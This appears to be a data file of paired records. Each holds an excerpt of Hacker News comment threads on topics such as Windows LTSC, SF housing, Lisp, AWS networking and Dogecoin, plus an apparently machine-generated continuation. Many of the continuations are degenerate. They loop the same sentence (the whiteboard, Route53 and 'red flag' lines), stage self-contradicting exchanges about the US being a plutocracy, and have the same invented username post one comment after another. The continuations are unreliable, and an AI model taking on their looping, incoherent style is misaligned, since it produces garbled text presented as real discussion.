mobile-heritage operating systems). Because those\nthreats will grow at a rate MS is incapable of competing with.\n\n~~~\nbrudgers\n> _\"I don't know that Bing has \"failed\" yet, but I highly doubt it'll be\n> anything other than one amongst many in the pack in 5 years.\"_\n\nFor Microsoft, having a full featured reliable non-core product with\nmeasurable market share is a success because it allows Microsoft to offer\nvertical integration without the specter of anti-trust allegations - imagine\nthe howling in DC and Europe if Bing controlled 70% of search (never mind the\nvalley).\n\nBing's robustness helps Microsoft sell software and services, while it's\nmodest market share keeps infrastructure costs lower and Microsoft's core\nrevenue stream coming from areas other than search reduces the pressure to\ngame search algorithms towards their advertisers in order to increase revenue\nin the way that Google does.\n\nWhat the article shows is not that Microsoft is inept, but rather that they\nare able to create an internal unit with many elements of a startup, scale\nthat unit massively, and then transition it into a solid corporate structure\ncapable of surviving over the long term - in other words, the article shows\nthat Microsoft was not only able to successfully foster internal\nentrepreneurship in order to quickly move into a new market and capture\nmeaningful market share in the face of a mammoth, entrenched, and powerful\nrival which dominated"} +{"output_text": "\n\n~~~\nmattmanser\nI remember a time in 2012. I was installing Windows on my computer to play a\nvideo game. It was the first time I used windows in about 2-3 years. I started\ninstalling some utilities. A web browser, steam, a music player, etc. One of\nthem asked me to install the Ask Jeeves toolbar. I became very angry. Of\ncourse I didn\u2019t want to install the Ask Jeeves toolbar.", "input_text": "\n------\nDirlewanger\nAnyone have experience with the LTSC?\n\n~~~\nitvision\nI love it.\n\nIt's a stripped down to the bare bones Windows 10 which doesn't include UWP\napps (except the core ones, like the start menu and PC settings) and which\nallows to disable pretty much all the telemetry.\n\nAlso, it's rock solid, doesn't get reinstalled every 12 months and is\nsupported for 10+ years.\n\nIn short, it's what Windows 10 should have been.\n\n------\nLoSboccacc\n> Disable all apps from the Windows Store.\n\ndamn I hate this. did the mistake to try Skype from the app, in a period where\nSkype for desktop had issues with for transfers, only to discover it's worse\nin every way, and now I'm stuck, unable to remove it out prevent it from start\n\n~~~\nragequitta\nStrange I was able to right click -> uninstall the skype store app from the\nstart menu no problem.\n\n~~~\nLoSboccacc\ndid that and also tried from the power shell and as soon as I reboot is back\n\n------\nnpo9\nI remember a time in 2012. I was installing Windows on my computer to play a\nvideo game. It was the first time I used windows in about 2-3 years. I started\ninstalling some utilities. A web browser, steam, a music player, etc. One of\nthem asked me to install the Ask Jeeves toolbar. I became very angry. Of\ncourse I didn\u2019t want to install the Ask Jeeves toolbar. No one wants the Ask\nJeeves toolbar. What a dark pattern to try to get me to misclick and install\nsome crap. What a clear lack of user focus."} +{"output_text": " mean that the\nmiddle class is being suffocated.\n\n~~~\nthreadify\nI'm not saying the middle class is being suffocated, I'm saying that the\nmiddle class is being suffocated by the lack of affordable housing.\n\n~~~\nchangoplatanero\nI don't think that's true. The middle class is being suffocated by the lack of\naffordable housing.\n\n~~~\nthreadify\nI'm saying that the middle class is being suff", "input_text": " be illegal. But if your\nemployees are leaving because you don't pay them enough, the solution seems\nobvious: pay them more. Raise your prices correspondingly. If the market can't\nbear those prices in such an expensive city, then clearly there's not enough\ndemand for restaurants in San Francisco, which would be sad, but it may be the\nreality.\n\nMeanwhile, the city would do well to invest in some affordable housing if they\ndon't want to turn into a rich people's ghetto.\n\n~~~\naeternus\nRaising prices does seem to be the right answer.\n\nMany expensive restaurants in SF are packed and it is quite difficult to get a\nreservation. There is clearly market demand in that segment.. if the food is\ngood enough.\n\nThe low or mid-range segment demand is likely shrinking. Why go out to get\nmediocre food when it is increasingly easy to have food, groceries, or meal-\npacks delivered to your door?\n\n~~~\nmcv\nYeah, I read in other comments that it's not actually that good a restaurant.\nIf it's expensive and mediocre, I guess they may have to look for an easier\nmarket.\n\n------\nthreadify\n> In nearby San Francisco, only 0.1% of restaurant staff can find affordable\n> housing in the city, with the average monthly rent for a one-bedroom\n> apartment at an insane $3,447.\n\nLack of affordable housing is doing the suffocation. America was built by a\nstrong middle class, and SF is setting an example of what happens when people\nstop caring about the middle class and $70K/year becomes low income.\n\n~~~\nchangoplatanero\nJust because the median apartment is not affordable doesn't"} +{"output_text": "\n~~~\njameshart\nI think you're confusing Lisp with Scheme. Lisp is a family of languages,\nincluding Scheme, Common Lisp, Clojure, and so on. Scheme is a language\ndesigned to be a Lisp, but it's not a Lisp.\n\n~~~\njameshart\nI'm not sure why I'm getting downvoted for this. I'm not saying that Scheme\nisn't a Lisp, I'm saying", "input_text": " when\nprogrammers tried to type as little as possible. In doing so, the language\nadopted all these little quirks. I\u2019m not saying it\u2019s bad, but it\u2019s just\ndifferent.\n\nWhereas the human mind is a simple graphical machine, and we like to see\nassociations. Like, the usage of an equal sign, to see that we\u2019ve made a\nvariable assignment. Maybe this reaches back to our childhood algebra days,\nwhere we associate equivalence with an equal sign. Who knows.\n\nBut Lisp did away with all that. It created its own style. It gave us\nparentheses to enclose our statements, which is to be honest, actually a nice\nfeature. But it forced us into knowing the specific ordering, sequence, and\nsymbols in order to make a legal statement.\n\nAnyways, I like Lisp, and have always been wanting to use it for something.\nBut not quite sure what.\n\nIt\u2019s great for writing short macros in Emacs though. You can write a multi\nline function, then compress it back into a single liner, because of the\nparentheses. This helps keep your config file short.\n\nIt doesn\u2019t really work for video game programming, as it doesn\u2019t seem to have\nthe libraries for it. It\u2019s not as fast as C for speed critical applications.\n\nIt kinda lives in that medium realm, where internal business applications can\nuse it for internal business processing, that can run uninterrupted for\ndecades. But, this space is where Python excels at.\n\nAnyways, one day, I\u2019ll finally create that programming language idea of mine,\nand it\u2019ll be some fusion of Lisp and Smalltalk, but can run almost as fast as\nC.\n"} +{"output_text": " in China), or a surveillance\napparatus.\n\n~~~\npjmlp\nThe US is not a democracy, but a plutocracy.\n\n~~~\nJohnStrangeII\nThe US is a democracy, but it is not a plutocracy.\n\n~~~\npjmlp\nThe US is a plutocracy, but it is not a democracy.\n\n------\nmatt_wulfeck\nI'm not sure I understand the point of this", "input_text": "x\nWouldn't be very battery (or other resource) friendly.\n\n------\nTinfoilhat666\nAndroid and iPhone app stores are already saturated. The app store for\nHarmonyOS isn't. This could be a good opportunity for new mobile app\ndevelopers.\n\n~~~\nKipters\nThe same thing has been told referring to the Windows Phone 7 Marketplace\nthough\n\n~~~\naddicted\nThis OS, if it\u2019s anh good, should at least have the Chinese market locked up\nthough. Which is a few hundred million users.\n\nIf it\u2019s good, and Huawei follows up on making it truly open source, I suspect\nevery Chinese manufacturer would at least have a line of Harmony OS phones,\nbecause they could always be the next trade war target.\n\nAnd once the Chinese manufacturers are supporting it, you can also add a huge\nchunk of the South and South East Asian markets as your customer base as well,\nsince a lot of users in those areas basically just buy the latest Xiaomi or\nHuawei phones.\n\n------\nJohnStrangeII\nOf all the efforts at an alternative mobile OS so far, Harmony OS seems to\nhave the best chances of success, because it is backed up by the Chinese state\nand its pervasive surveillance apparatus. With government help and full\nintegration into the total surveillance of all Chinese citizens, they can get\ntheir share of the Chinese market and break the application barrier.\n\n~~~\npjmlp\nAs if Google and Apple don't have to obey the wishes of FBI, CIA, NSA,...\nregarding \"making the world safer\".\n\n~~~\nJohnStrangeII\nThe US doesn't have a citizen score, political re-education camps, Tiananmen\nSquare massacre, widespread censorship (like"} +{"output_text": "'ll see that many of them are from framework maintainers.\n\nI'm not sure if we'll ever be able to get the vendors to agree on a\nconfiguration, but I think it's a worthwhile goal.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nThe benchmarks are not really about the performance of the language. They are\nabout the performance of the framework.\n\n~~~\nbhauer\nI agree. The benchmarks are", "input_text": " support yet. So Symfony2, laravel, ZF2 can\nnot be run in it. But basic PHP performance would skyrocket I assume.\n\n~~~\nfrik\nHHVM is moving fast - Namespace support arrived. I heard reflection\ncompatibility with PHP.net needs some work. They are fixing bugs that prevent\ntop PHP project from working.\n\n------\nmorgo\nI think it would be interesting if respective technology vendors could be\nmotivated to tune the configuration, and be bound by some rules. eWeek did a\nDB shootout like this 10 years ago, and (as the rumor goes) led to the\ncreation of the MySQL query cache to specifically beat the benchmark.\n\nGetting the various vendors involved would require a lot of clout though :(\n\nHere is some commentary on the MySQL configuration:\n[https://github.com/TechEmpower/FrameworkBenchmarks/blob/mast...](https://github.com/TechEmpower/FrameworkBenchmarks/blob/master/config/my.cnf)\n\n* innodb_log_flush_at_trx_commit is not specified, so it's going to default to 1 (durable). This is a little unfair, since other databases won't do this.\n\n* innodb_buffer_pool_size isn't specified, so it's going to default to 128M. A database that uses mmap files will have an atvantage here - since it can automatically use free memory and won't require this level of tuning.\n\n* I thought it was fair to disable query cache though :)\n\n~~~\nbhauer\nActually, mostly in an informal matter, we have in fact received many test\nimplementations from maintainers of frameworks directly. If you go through the\npull requests, you"} +{"output_text": "a dolly.)_\n\nI'm not sure why this is a problem. If you're going to be carrying a box, you\nshould be able to carry it with one hand.\n\n~~~\njessaustin\nI think the problem is that the security guard is a human being, and he\ndoesn't want to be carrying a box.\n\n~~~\nJohnny555\nI don't think that's the problem. The problem is that the security guard is\n", "input_text": "\nmostly the former.\n\n------\nars\nSounds like non-drivable, only walkable, cities are a real problem for\ndeliveries.\n\n~~~\nDjvacto\nI don't think this is a huge problem though, as it forces the use/development\nof things like delivery lockers, last-mile bike/foot delivery, pickup\nstations, and just generally pushing back on the idea that a car should be\nable to go everywhere until a human is absolutely forced to get out of the car\nand walk.\n\nI think cities/bigger towns would eventually (in my idealistic world vision)\nhave major highways/roads that go around them, and have primarily\nfoot/bike/public transit traffic for everything internal.\n\n~~~\nglenneroo\nDomino's recently opened up some shops in Vienna, Austria and they gave a lot\nof their delivery people e-bikes. UPS also seems to have people delivering\nlast-mile with e-bikes. Seems to work out great and they aren't clogging up\nthe streets with delivery cars parked everywhere, blocking entrances, etc.\nlike most other delivery services.\n\n------\njjoske\nWhen google initially invested in Boston Robots I thought was to try and solve\nthis problem.\n\n~~~\nZigurd\nI think you mean Boston Dynamics.\n\n------\ntardo99\nI mean, the truth is these jobs will go away relatively soon because of drones\nand robotics.\n\n------\nJohnny555\n_The security guard at the front door of the office building chastised me for\ncarrying the box, and told me that I should be using a dolly to transport it.\n(None of the 19 videos I had to watch to be a Flex driver recommended bringing\n"} +{"output_text": " newer type, which is more expensive, allows traffic to bypass NAT and go straight to the Internet.\n\n* Route53 - the DNS service is a must have, and the ability to create and manage zones is a must have.\n\n* Route53 - the ability to create and manage DNS records is a must have.\n\n* Route53 - the ability to create and manage DNS records is a must have.\n\n* Route53 - the ability to create and manage DNS records is", "input_text": " in the realm of scripting languages 14 years is a _huge_ amount of\ntime. Why would anyone judge Perl, Python, or Lua, say, by the state of those\nlanguages _in 1997_. The mind boggles.\n\n \nNetworking on AWS (2018) - petercooper\nhttps://grahamlyons.com/article/everything-you-need-to-know-about-networking-on-aws\n======\nbecauseiam\nThere's quite a few things you've missed that are significant and should have\nbeen included, maybe one for part two:\n\n* Network ACLs, which describe the ruleset (consider it like a stateless firewall) for subnets and their respective routes. Whilst they are optional, having a default set it straightens out a lot of duplication that may end up in Security Groups (which are more stateful in nature).\n\n* Elastic (public) IPs. NAT instances/gateways require their use, and there is dance to be done around their allocation in account, and attaching to instance interfaces.\n\n* IPv6 components. Egress-only Internet Gateways operate differently to IGWs, as there is no NAT they need a route applied across all subnets both public and private. IPv6 CIDR which allocates the VPCs /56 (and thus each subnet gets a /64, and each instance's interface thus gets a /128 which is bananas, but IPv6 is a second class citizen on AWS). Finally updating the subnets so automatic IPv6 address assignment happens.\n\n* VPC Gateways - these are broken into two types, the older type that support S3/DynamoDB and effectively allow traffic in a public/private subnet to bypass NAT. These enabled can have significant advantages to access and throughput. The"} +{"output_text": " but I don't think that's what the article is saying.\n\n~~~\nmarshray\nI think the article is saying that the bacteria are using the light to\ndetermine their direction of travel.\n\n~~~\nproc0\nI think you're right, but I don't think that's what the article is saying.\n\n------\nmatt_the_bass\nI\u2019m not sure I understand the point of this article. It seems to be saying\n", "input_text": " idea that everyone can be a creative genius. What is interesting\nabout his idea is that how universal craziness is amongst a small proportion\nof the population, which means it is has been around a very long time.\n\n~~~\nNasrudith\nReminds me of a differing but related idea. Society at large is already crazy\nbut nobody notices because it has been so normalized being rational is looked\nupon as crazy.\n\nThe promoter of doctors handwashing wound up instituionalized. And it isn't a\nin the past problem. I mean look at interviewing etiquette and ideals for one.\nThey distrust people who can't or won't put on a mask convincingly enough as\nuntrustworthy. Not even as \"unsuited for a job where it is relevant like sales\nor acting\". That is frankly barking mad to only trust those capable of faking.\n\n \nBacterial cells are small 'eyeballs', scientists discover - Marinlemaignan\nhttp://www.sciencealert.com/bacterial-cells-are-actually-the-world-s-smallest-eyeballs-scientists-discover-by-accident\n======\nmarshray\n* Scientists knew bacteria could sense the direction of light.\n\n* Scientists had been looking at bacteria under a microscope for 340 years.\n\n* Just the other day, someone noticed how bacteria focus light.\n\nIf you ever think there's nothing interesting left to discover in your field,\nread this again!\n\n------\nproc0\nHmm, that diagram is a little misleading. It's not like the bacteria are\nprocessing the images in any way, right?! They are merely detecting light and\nits direction so they can swim that way. Someone correct me if I'm wrong, I\nguess,"} +{"output_text": " you're a politician).\n\nI think the point is that the government should encourage people to pursue\ncareers that are more likely to be beneficial to society.\n\nI'm not sure what you mean by \"downmodders\". I'm not sure what you mean by\n\"rational government\".\n\n~~~\nxiaoma\nI'm not sure what you mean by \"downmodders\". I'm not sure what you mean by\n\"rational government\".\n\nI'm not sure", "input_text": " make science and engineering a desirable career path\nfor young americans, but simply \"making it cool\" isn't the way to go - and\ncould (as the article points out) actually be destructive in that it would\ncause harm to students who responded to the pr campaign only to find long\ntraining times and poor career prospects relative to their friends who did\nlaw, dentistry, medicine, mba, etc.\n\n~~~\nbaguasquirrel\nThat's funny... Americans don't have an economically rational aversion to\nbecoming movie stars in much the same way.\n\n~~~\ngeebee\nyeah, that is an amusing observation. of course, President Obama and various\ntalking heads don't fret about the shortage of Americans in film school.\n\nThe serious question is whether we should launch a PR campaign to encourage\nyoung people to make decisions that may lead (at least according to RAND) to\nlong training times with poor pay and career prospects _relative_ to other\npaths typically available to the \"best and brightest\".\n\n~~~\nxiaoma\nIf the issue is public policy, then the goal should be public good, not\nindividual good.\n\nIt's very possible that the best and brightest could live in greater comfort\nas criminals than scientists, but even if that were the case, any rational\ngovernment would encourage them to be scientists since that would be better\nfor the country.\n\nEdit: Seriously? Care to explain your reasoning, downmodders? Why would a\ngovernment encourage decisions that are destructive to society?\n\n~~~\ngeebee\nThat's not at all a bad point. There are some activities that economists view\naS rent collecting (or even wealth destroying) that are lucrative for the\nindividual. Scientists and engineers are generally seen as the opposite of\nthis (unless"} +{"output_text": "me.com/](http://www.dogesnearme.com/)\n\n[2]\n[http://www.reddit.com/r/dogemarket/](http://www.reddit.com/r/dogemarket/)\n\n[3] [https://vaultofsatoshi.com/](https://vaultofsatoshi.com/)\n\n~~~\nplg\nI meant in my hand I have a $100 bill. How", "input_text": "iate your every desire.\n\n~~~\nrimantas\n\n > Someday large segments of the population are going to\n > gladly submit some control of their mind to 3rd parties\n > who know which programs and products are good for you, and \n > which you are unauthorized to use.\n \n\nThis is already in place and has nothing to do with technology. Just observe\ncarefully all the stuff people get offended about, or call racist, or call\nsexist\u2014usually there is little to no thinking involved, just conditioned\nresponse, sometimes reaching absurdity (like insisting that black person from\nUK should be called african-american). My impression is that in these cases\npeople don't really have moral compass or deep understanding why something is\nright and something is wrong\u2014this all was \"outsourced\" somewhere and all left\nare just learned reponses to stimuli, with extremely crude pattern\nrecognition. And yes, to some degree this applies to those inceasingly\nspeaking about walled-gardens.\n\n------\nplg\nso here in my hand I have a $100 bill. How do I turn it into Dogecoin??\n\n~~~\nzedpm\nWell, if you literally mean cash in hand, you're going to have to do a bit of\nwork. Much like with other crypto coins, you can sometimes find a local person\nwho will do an in-person exchange[1]. Otherwise, you can use something like\nthe dogemarket subreddit[2] to do an exchange using Paypal, Google Wallet,\netc. Another option is to link a bank account to a service like Vault of\nSatoshi[3] and make a USD/Doge trade there.\n\n[1] [http://www.dogesnear"} +{"output_text": " know if this is a common phenomenon? I have a dog that is\nextremely attached to me, and I have to take him to the vet every year. I\nalways wonder if he remembers me, or if he just knows that I will be there\nwhen he needs me.\n\n~~~\njaclaz\n> Does anyone know if this is a common phenomenon?\n\nYes, it is.\n\n> I always wonder if he remembers me, or if he just knows", "input_text": " at remembering\npeople. He freaks out when he sees his favourite people, even after years\napart.\n\n~~~\nfinestkludge\nDogs' ability to cling to long term memories like this is always amazing to\nme.\n\n------\nsmallnamespace\nProbably inspired the ending to a classic, sappy Futurama episode:\n[https://en.wikipedia.org/wiki/Jurassic_Bark](https://en.wikipedia.org/wiki/Jurassic_Bark)\n\n~~~\nfourier_mode\n[https://en.wikipedia.org/wiki/Hachik%C5%8D#In_popular_cultur...](https://en.wikipedia.org/wiki/Hachik%C5%8D#In_popular_culture)\n\n------\nmilankragujevic\nInteresting coincidence, just yesterday I saw a video on Serbian TV about a\nsimilar case of a dog waiting for his owner, who had gone on a bus (as was the\nroutine) and died. The dog is still waiting for him, being fed and taken care\nof by nearby people, but refusing to be moved from that place.\n\nYou can see the video I captured here: [https://milankragujevic.com/uploads-\ncdn/310724819332445.mp4](https://milankragujevic.com/uploads-\ncdn/310724819332445.mp4)\n\n------\nvariaga\nSee also Greyfriars Bobby\n[https://en.m.wikipedia.org/wiki/Greyfriars_Bobby](https://en.m.wikipedia.org/wiki/Greyfriars_Bobby)\n\n------\nmlang23\nDoes anyone"} +{"output_text": " me no reason to believe that this will continue.\n\n~~~\nvillage-idiot\nThe state of California has given you no reason to believe that this will\ncontinue because the state of California has given you no reason to believe\nthat this will continue.\n\n~~~\ntathougies\nI'm not sure what you mean. I'm not a Californian, but I'm not sure what\nreason you would have to believe that this will continue.\n\n~~~", "input_text": " a\n> coal plant and install a brand spanking new nuclear or solar plant\n\nWould you feel the same way if you went from making $100k /year to $50k/year\ndoing this? That's part of the problem. You have to be okay taking a\nsubstantial paycut, or losing your job entirely, when you decomm the previous\nsystem. Not that same as doing so when you're a software engineer.\n\nSingle income in your family and having to start out from scratch? Of course\npeople are going to cling to their chance at a middle class life by their\nfingernails in a fossil industry job.\n\n~~~\nvillage-idiot\nThat's fair.\n\n------\ntrue_tuna\nWe are going to need some more big batteries. Don\u2019t we pay our neighbors to\ntake our excess during peak times?\n\n~~~\ndublin\nGet a clue and do the math. (Seriously, this is a one-to-two hour google for\ninfo and apply third-grade arithmetic back-of-an-envelope project.) Batteries\nare NOT the answer - the quantity of batteries required is astronomically\nbeyond the world's battery production capacity, even in Musk's most fevered\ndreams. Seriously - the mining impact of REALLY trying to build enough\nbatteries to stabilize an area the size of CA would increase mining pollution\nworldwide by an order of magnitude or more...\n\n~~~\nsctb\nCould you please stop being so thorny? It doesn't make your point any clearer,\nit just makes the discussion worse.\n\n------\ntathougies\nCurrently, I buy all my electricity from renewables. The price I pay per kwh\nis lower than conventional generation. However, the state of California has\ngiven"} +{"output_text": " that Bluebird is better.\n\n------\njoshschreuder\nI've been using Bluebird for a few months now and it's been great. I've been\nusing it with the async/await syntax and it's been great.\n\nI've been using it with the async/await syntax and it's been great.\n\nI've been using it with the async/await syntax and it's been great.\n\nI've been using it with", "input_text": " from a function\n> would be a straightforward way of handling errors. Not so with Node.\n> Instead, you get to pass your errors around in your callbacks (or promises)\n> - thats right, no throwing of exceptions.\n\nPromises let you throw errors normally. They will propagate up the call stack\nin a similar manner. With bluebird, you will also get full stack traces in\ndevelopment mode and the performance penalty for that isn't too bad.\n\n> The last thing that I found frustrating was the lack of standards. Everyone\n> seems to have their own idea of how the above points should be handled.\n> Callbacks? Promises? Error handling? Build scripts?\n\nPromises are in ES6 (i don't think it gets more standard than that) and have\nwell defined semantics, including error handling, shared between libraries:\n[https://promisesaplus.com/](https://promisesaplus.com/)\n\nI know that Bluebird's promisifyAll might seem like a bit of a hack, but just\ntry it out. It works surprisingly well, and its really painstaikingly tuned\nfor near-zero performance loss. It will probably be both less painful to do\nand more performant than any manual attempt to wrap a callback based API into\na promise one.\n\n~~~\npjungwir\nI gave a talk about handling errors in Node a few years ago:\n\n[https://github.com/pjungwir/node-errors-\ntalk](https://github.com/pjungwir/node-errors-talk)\n\nAt the time the solution was \"use domains\", but I think domains are deprecated\nnow. It was painful enough that I have stuck with Rails since then. I'm glad\nto hear"} +{"output_text": "ally is a great place to be.\n\n~~~\nTazeTSchnitzel\nI'm not sure. I'm not a fan of the Samwer brothers, but I don't think they're\nevil.\n\n~~~\nczzarr\nI don't think they are either.\n\n------\njoshu\nI wonder if the sound card was a part of the IBM PCjr.\n\n~~~\njoshu\nI wonder if the sound card was", "input_text": "\nComparing to a general purpose CPU, I remember from the olden days that a 486\nDX4/100 was just BARELY able to decode stereo MP3's if you used a well\noptimized MS-DOS playback program. In a multitasking environment like Windows\n-- forget about it!\n\n~~~\nmadengr\nWindows back then wan\u2019t multitasking. OS/2 on the other hand; I could download\nat 9600 baud and play Wolfenstein at the same time.\n\n~~~\neinr\nI ran Windows 95 on my 486.\n\n------\ndrosan\n403 Forbidden\n\nYou don't have permission to access /wp/a-sound-card-before-its-time/ on this\nserver.\n\n:c\n\n------\nwalrus01\nthe ps/2 models 25 and 30 were sold in large numbers to educational\ninstitutions, so my guess is that it was paired with some sort of weird\neducation-related recording and playback software.\n\n~~~\nteddyh\nIt can\u2019t have been made for that, since the IBM PS/2 series of computers was\nnot released until 1987.\n\n \n\nZ Kombinator - hassy\nhttp://zkombinator.com\n\n======\nTazeTSchnitzel\nThe sad thing is that the Samwer brothers are real people who actually do\nthis, and they're quite successful at it too:\n[http://www.businessweek.com/articles/2012-02-29/the-\ngermany-...](http://www.businessweek.com/articles/2012-02-29/the-germany-\nwebsite-copy-machine)\n\n~~~\nczzarr\nwhy is that sad? Silicon V"} +{"output_text": " developer who had a great track record\nof building successful businesses. He was a great fit for our team and we\ncouldn't be happier with his contributions.\n\n~~~\njoshfraser\nI'm not sure if this is the right place to post this, but I'm curious if\nanyone has any advice on how to get into the industry without a CS degree.\n\n~~~\njoshfraser\nI'm curious if anyone has any advice on how to get", "input_text": " implement it with someone breathing down my neck.\n\nI interviewed with Nvidia a week later and almost had a similar issue but in\nthat case the interviewer sensed my reaction and managed to talk me through\nthings. I managed to recover and now I'm scheduled for an on-site.\n\n~~~\nsuperqd\nGood luck\n\n------\nnalipp\nPassion can't be measured with credentials so why do companies keep screening\nfor them?\n\nI spent the last three years studying as a hobby and as a full time student\nlearning multiple frameworks, front-end and backend, and additional\ntechnologies that made me curious like Vim and I can't even land a single\ntechnical interview.\n\nAfter coming to the Bay Area, I was thinking my github portfolio and\ncommunication and networking skills would at least get me in the door to prove\nmyself.\n\nOnce coming I found out I would need to learn CS topics to get past the\ntechnical interview and that React would be a good entry point for a first\njob. So I left and studied another 6 months before returning. The second time\nI got a part time job as a coding instructor at a bootcamp because I have a\nhistory in teaching, but still struggle to get in the door for engineering\ninterviews.\n\nNobody takes me seriously without credentials, I always thought that in a\ntechnical interview people would be able to figure out where you stand and not\nneed credentials. The problem is companies get flooded with resumes so they\nbuild automated software to screen the best candidates but passion can't be\nscreened.\n\n------\njoshfraser\nAt Origin, we've hired multiple people without computer science degrees and\nwhose resumes you would never pick out of a stack. One of our key players, for\nexample, was a commercial real estate"} +{"output_text": "I know you're a single mom, but\nwould you be willing to live in a neighborhood with a lot of crime?\") is a\nred flag.\n\n\\- If you're being asked to sign a non-compete agreement, it's a red flag.\n\n\\- If you're being asked to sign a non-disclosure agreement, it's a red flag.\n\n\\- If you're being asked to sign a non-compete agreement, it's a red flag", "input_text": " open-plan offices.\n\n\\- Hyper focus on your salary expectations early in the process without\nreciprocal willingness to share the budgeted salary range. This extends to\nhyper focus on relocation costs or other compensation items too.\n\n\\- Jobs that don't provide relocation. Sometimes there are good reasons, but\nmany times it's because of cliquish culture and/or extreme cheapness.\n\n\\- Paternalism: does the management act like your vacation time, your pay,\nother forms of compensation, or other perks are \"generous gifts\" doled out by\nthe company? Do they act like the company \"is a family\" and have weird\nworkplace cultural norms about key management \"principles\"?\n\n\\- Are all of the recent Glassdoor reviews 5-stars with unrealistically\nglowing reviews that sound like they were written by a PR firm, and all of the\nbad reviews are buried at the end and sound like what an actual human would\nwrite?\n\n\\- Any unreasonable demands for access to private data about you, such as\nstatements about past income or addresses, test results for things like IQ or\npersonality tests. I agree with other comments that even asking for test\nresults is a bad sign, but even if the test results were legitimately useful\nfor hiring (they aren't), there's still the issue of distrusting some random\ncompany with private data about you, or being skeptical of their network\nsecurity.\n\n\\- If anyone tries to talk you out of your financial requirements with lame\nexcuses, it's a red flag. For example, when I've countered lowball offers\nbefore, I've had HR reps debate with me exactly which apartment buildings and\nlocations nearby I could live in at the wage they countered with. Anybody\nprying into your private life like that (\""} +{"output_text": " state's\neconomy.\n\nHowever, the state's budget is in a precarious position. The state's\nunemployment rate is high, and the state's budget is not growing fast enough\nto keep up with the cost of living.\n\nI'm not sure how much of this is due to the state's budget, and how much is\ndue to the state's economy.\n\n~~~\nhamslamwich\nThanks for the comment! We're definitely aware of", "input_text": " to build an event board that is perfectly\ntailored to the needs of your group, foster a little community around your\nevent, and streamline your communication all in one place.\n\nAs always, we're here for some real feedback and critique, so if you're the\ntype of person who typically wrangles large groups of people, how can we solve\nyour pain points even further?\n\nHappy Friday!\n\n------\nyodon\nHomepage looks absolutely beautiful, but I suspect it would convert better if\nyou had more visual emphasis on getting people to click on your call to action\n(which presumably is hosting an event).\n\n~~~\nhamslamwich\nThanks! Always good to remember the CTAs :) We'll take a fresh look at the\npage with that in mind.\n\n------\nskinnymuch\nThe product looks great. Congrats with 2.0.\n\nHowever, I used Jitsi Meet on a daily basis for a year. I was a frequent\nperson to a Jitsi Meet room recently as well.\n\nIt was and is pretty bad relative to others. There\u2019s almost always an issue\nonce you get to double digits. Even in smaller numbers, it is buggier far more\nthan Whereby or Zoom.\n\nIts cpu and Bandwidth usage is too high too compared to better video options.\n\nI avoid Jitsi as much as possible.\n\n \n\nIs California's Budget Endangering Silicon Valley? - loganfrederick\nhttp://loganfrederick.com/blog/is-californias-budget-endangering-silicon-valley/\n\n======\ndigikata\nAs an investment, educating, retaining, and attracting talented students in\nCalifornia would seem like a fundamentally positive way to raise the"} +{"output_text": " to no cost.\n\n~~~\niso1631\nI'm not sure how much it would cost, but I think it would be worth it.\n\n------\njedberg\nI use a whiteboard.\n\nI use a whiteboard because I can draw on it.\n\nI use a whiteboard because I can draw on it.\n\nI use a whiteboard because I can draw on it.\n\nI use a whiteboard because I can draw on it", "input_text": ".\n\n------\ndavidwitt415\nI've been using MURAL, Miro and Figma. MURAL and Miro are pretty close, and\neach has it's strengths, but I prefer MURAL. For a team that doesn't need the\nbells and whistles, Figma is a great choice.\n\n------\nAlexITC\nWhile I don't use it daily, I built\n[https://collabuml.com](https://collabuml.com) (launched on HN a month ago:\n[https://news.ycombinator.com/item?id=22955971](https://news.ycombinator.com/item?id=22955971))\nwhich has been helpful for me, I made it this way as lots of time you mostly\ncare about writing system diagrams instead of freestyle whiteboard.\n\n------\nprando\nOne of the main criteria for a whiteboard is to use it with a stylus - so I\npurchased [https://air.bar/](https://air.bar/) to turn my non-touch-screen\nlaptop into a touch-screen-one. However, its latency is not low enough to\nprovide a smooth experience. Does anyone know of a good digital pen that plays\nwell with Win 10. I suspect our company policies won't allow me to share\nscreen via an iPad.\n\n------\nNullError\nMiro! Its a company changing tool!\n\n------\niso1631\nI use a real whiteboard on my wall in shot of the camera\n\n~~~\npmiller2\nI'm surprised I had to scroll down so far to see this. You could distribute\nindividual whiteboards to every engineer, and even have a dedicated\nwebcam/tripod setup, for next"} +{"output_text": " this as a sign of\nthe economy being in a bubble.\n\n~~~\njoshu\nI think the point is that the people who are buying are not the people who\nare buying in the past.\n\n~~~\nkin\nI agree. I think the point is that the people who are buying are not the\npeople who are buying in the past.\n\n------\njoshu\nI think the real problem is that the housing market is a bubble.\n\n", "input_text": "1Y)\nAlso checkout the dollar index:\n[http://www.marketwatch.com/investing/index/dxy](http://www.marketwatch.com/investing/index/dxy)\n\n~~~\nrmrm\nMy point is that other currencies are not static. All the world economies are\njockeying to have relatively weak currencies, in order to attempt to spur\ninflation and ease their debt loads. It's all relative. The US is not in some\nparticularly bad spot, certainly Japan and Europe finance ministers would\ntrade places with ours any day of the week. We have a remarkably strong\neconomy (and everything else, really) in comparison (which is all that\nmatters).\n\n------\nkin\nThe anecdotal example of Brooklyn is a bad example IMO. Everyone knows how\ngentrified Brooklyn has become. As a result, real estate prices for those\nareas are going way up. For those in SF, the same is happening to Oakland.\n\nAlso, having just got a mortgage, I can anecdotally counter that despite\nQuicken's claims with Rocket, getting a mortgage, at least a \"good\" mortgage\nloan is still incredibly difficult. Thanks to 2008, 2016 loans require a shit\nton of disclosures. So, if there's a bad loan lying around, you best bet it's\ngoing to be hard to disguise it.\n\nAs for the < 20% down? That's not a sign of a bad economy per se. I'd factor\nthat more to a generation of poor savers. NPR recently had a whole segment on\nhow little the current generation of millennials saves.\n\nHome prices increasing is due to the fact that it's a seller's market. But,\nrent prices are increasing as well. IMO you could look at"} +{"output_text": ".\n\n~~~\njoezydeco\nI think the article is talking about the \"productivity gap\" between the\n\"old\" and \"new\" work styles.\n\n~~~\nbaconizer\nI agree. I was just wondering if the mobile phone and tablet are just\nincreasing the productivity gap.\n\n------\njoezydeco\nI'm not sure I buy the premise that the \"new\" work style is more productive.\n\nI'm a", "input_text": "\nalternative models that capture the intuitive gain from things like this? Or\nmaybe such gains are rare and negligible?\n\n~~~\nYokoZar\nWhat happens in this situation is the people who used to make the obsolete\nthings are now out of a job, and eventually get employment somewhere else.\nWhat they do _then_ counts for productivity. If they earn what they did\nbefore, you'd measure no change in productivity -- though we'd all be better\noff.\n\nThe studies in the article assert that the size of the productivity shortfall\nis so large that even if we place pretty 